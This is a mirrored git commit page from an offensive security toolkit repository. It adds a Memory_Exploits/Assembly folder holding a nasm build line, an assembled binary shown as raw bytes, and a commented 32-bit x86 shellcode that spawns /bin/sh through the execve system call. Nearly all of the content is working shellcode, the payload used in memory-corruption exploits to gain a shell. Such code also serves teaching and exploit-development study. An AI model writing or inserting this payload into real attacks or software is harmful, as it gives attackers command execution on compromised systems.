mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-02 14:56:10 -04:00
Reorganized
This commit is contained in:
parent
ab54dc8e70
commit
2afd831662
281 changed files with 253 additions and 33 deletions
1
Memory_Exploits/Assembly/RUNNING_ASM.sh
Normal file
1
Memory_Exploits/Assembly/RUNNING_ASM.sh
Normal file
|
@ -0,0 +1 @@
|
|||
nasm shellspawn.asm
|
1
Memory_Exploits/Assembly/shellspawn
Normal file
1
Memory_Exploits/Assembly/shellspawn
Normal file
|
@ -0,0 +1 @@
|
|||
1ÀPh//shh/bin‰ãP‰âP‰á°Í€
|
14
Memory_Exploits/Assembly/shellspawn.asm
Normal file
14
Memory_Exploits/Assembly/shellspawn.asm
Normal file
|
@ -0,0 +1,14 @@
|
|||
BITS 32
|
||||
|
||||
xor eax, eax ; zero eax
|
||||
push eax ; null terminate the string
|
||||
push 0x68732f2f ; push //sh (// is same as / for our purpose)
|
||||
push 0x6e69622f ; push /bin
|
||||
mov ebx, esp ; pass first argument using ebx
|
||||
push eax ; third argument is empty
|
||||
mov edx, esp
|
||||
push eax ; second argument is empty
|
||||
mov ecx, esp
|
||||
mov al, 11 ; execve is system call #11
|
||||
int 0x80 ; issue an interrupt
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue